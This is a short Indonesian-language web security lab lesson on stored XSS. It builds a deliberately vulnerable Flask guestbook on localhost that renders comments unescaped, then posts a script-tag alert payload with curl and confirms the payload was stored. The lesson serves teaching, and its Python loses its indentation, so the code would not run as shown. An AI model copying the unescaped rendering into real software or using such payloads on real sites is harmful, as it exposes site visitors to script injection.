TDCTF Academy Logo TDCTF ACADEMY

EH-08: ️ Stored XSS - XSS yang Tersimpan di Server

Tools: curl


Praktikum

cd ~ && mkdir -p eth-l8 && cd eth-l8
cat > server.py << 'PYEOF'
from flask import Flask, request
app = Flask(__name__)
comments = []
@app.route('/comment', methods=['POST'])
def comment():
c = request.form.get('text','')
comments.append(c)
return "OK"
@app.route('/')
def home():
html = "<h1>Guestbook</h1>"
for c in comments:
html += f"<p>{c}</p>" # ❌ NO ESCAPE!
return html + '''<form method=POST action=/comment>
<input name=text><button>Send</button></form>'''
app.run(port=9006)
PYEOF
python3 server.py &
sleep 1
echo "=== Stored XSS ==*"
curl -s -X POST http://localhost:9006/comment -d "text=<script>alert('StoredXSS')</script>"
curl -s http://localhost:9006 | grep -o "StoredXSS"
echo "✅ Script tersimpan - semua pengunjung kena!"
kill %1 2>/dev/null

Refleksi: Stored XSS lebih berbahaya dari reflected - setiap pengunjung yang membuka halaman terkena serangan.


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI